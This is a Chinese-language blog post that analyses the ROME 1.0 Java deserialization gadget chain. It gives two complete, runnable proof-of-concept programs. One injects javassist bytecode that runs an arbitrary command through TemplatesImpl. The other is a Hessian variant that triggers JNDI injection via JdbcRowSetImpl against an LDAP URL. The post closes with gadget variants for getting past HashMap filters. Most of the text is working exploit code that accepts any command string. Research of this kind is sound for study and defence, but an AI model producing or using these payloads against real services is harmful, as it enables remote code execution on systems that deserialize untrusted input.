Java反序列化之Rome

本文最后更新于:27 分钟前

引入依赖

1
2
3
4
5
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

漏洞分析

yso的gadget如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/

在ObjectBean中,只有简单的一行_equalsBean调用beanHashCode()

这里的_equalsBean是一个私有的EqualsBean类型的属性

顺着链子来到EqualsBean,调用EqualsBean.beanHashCode(),在里面调用了_obj的toString()方法

但是在EqualsBean.hashCode()里面也发现了对this.beanHashCode()的调用,因此前面ObjectBean的那一节似乎是多余是的

按照yso的链子接下来_obj应该是ObjectBean对象,但是实际上没必要,直接走ToStringBean的toString()就行了

简单写个demo,跟进put看看

这里因为put的时候也会调用hashCode(),所以就不进行序列化反序列化测试了

1
2
3
4
5
6
7
8
HashMap<Object,Object> hashMap = new HashMap<>();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(equalsBean,null);

如我们所愿调用栈确实来到了ToStringBean.toString()

接下来应该是走到ToStringBean.toString(String)

跟着走了几步,到了这一步没继续往下走,_obj还没赋值会直接抛npe

判断是否有必要精心构造prefix(实际上从getClass()也能直接看出没法精心构造),我们就需要跟进toString(String)看看,发现这个prefix在我们需要的invoke()调用之前都没有任何的用途,因此最终的利用链与这个prefix无关

回到上一个toString()方法,所以说只需要随便给_obj赋个值避免npe就行了

随便赋一个Object对象

1
2
3
4
5
6
7
8
9
10
HashMap<Object,Object> hashMap = new HashMap<>();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",new Object());


EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(equalsBean,null);

重新调试,成功走进toString(String)

从字面上的意思来看,这里的逻辑是从_beanClass中获取所有的property对象的getter/setter,然后调用

Bean来作为漏洞点的,很自然就想到我们的TemplatesImpl的类加载以及JdbcRowImpl的jndi注入

吸收过之前的教训(见JavaDeserializeLabs的Lab9),为了避免其他的不需要的方法提前被调用导致异常,这里赋接口Templates的类

赋值一下,再调试

1
setField(toStringBean,"_beanClass", Templates.class);

确实如我们所愿变成了我们想要的getOutputProperties()方法

一路往下走,emmm,ok这里的_obj还是不能随便传,还是有关键作用的

如果这的_obj是我们构造好的TemplateImpl对象,那么就会调用到TemplatesImpl的getOutputProperties()方法

写好方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Templates getTemplates() throws Exception{
byte[][] bytes = new byte[][]{Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"))};

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,bytes);

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}

重新给_obj赋值

1
2
3
4
5
6
7
8
9
10
HashMap<Object,Object> hashMap = new HashMap<>();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",getTemplates());
setField(toStringBean,"_beanClass", Templates.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(equalsBean,null);

成功~

封装好方法之后,poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.reflect.ReflectionFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Objects;

public class Main {

public static void main(String[] args) throws Exception {
HashMap<Object,Object> hashMap = new HashMap<>();

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",getTemplates());
setField(toStringBean,"_beanClass", Templates.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(1,1);
setHashMapKey(hashMap,1,equalsBean);

unser(ser(hashMap));

}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}

public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}

public static Templates getTemplates() throws Exception{
byte[][] bytes = new byte[][]{getEvilBytes("calc")};

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,bytes);

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}
}

JdbcRowImpl的jndi注入比较类似,就不多写了(懒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.reflect.ReflectionFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception {

HashMap<Object,Object> hashMap = new HashMap<>();

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com");

ToStringBean toStringBean = createObjWithoutConstructor(ToStringBean.class);
setField(toStringBean,"_obj",jdbcRowSet);
setField(toStringBean,"_beanClass", JdbcRowSetImpl.class);

EqualsBean equalsBean = createObjWithoutConstructor(EqualsBean.class);
setField(equalsBean,"_obj",toStringBean);

hashMap.put(1,1);
setHashMapKey(hashMap,1,equalsBean);

String s = ser(hashMap);

unser(s);

}

public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setHashMapKey(HashMap hashMap,Object oldKey,Object newKey) throws Exception{
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
// System.out.println(entry);
if (entry!= null){
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
Object keyValue = keyField.get(entry);
if (keyValue.equals(oldKey))
setField(entry,"key",newKey);
}
}
}

public static byte[] getEvilBytes(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("evil");
String code = "{java.lang.Runtime.getRuntime().exec(\""+cmd+"\");}";
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.insertBefore(code);
// ctClass.writeFile();
return ctClass.toBytecode();
}

public static Templates getTemplates() throws Exception{
byte[][] bytes = new byte[][]{getEvilBytes("calc")};

TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,bytes);

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
return templates;
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
constructor.setAccessible(true);
Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance(argsValues);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}
}

一些绕过

如果对HashMap有存在过滤,可以使用hashTable进行绕过

HotSwappableTargetSource.toString()

BadAttributeValueExpException.toString()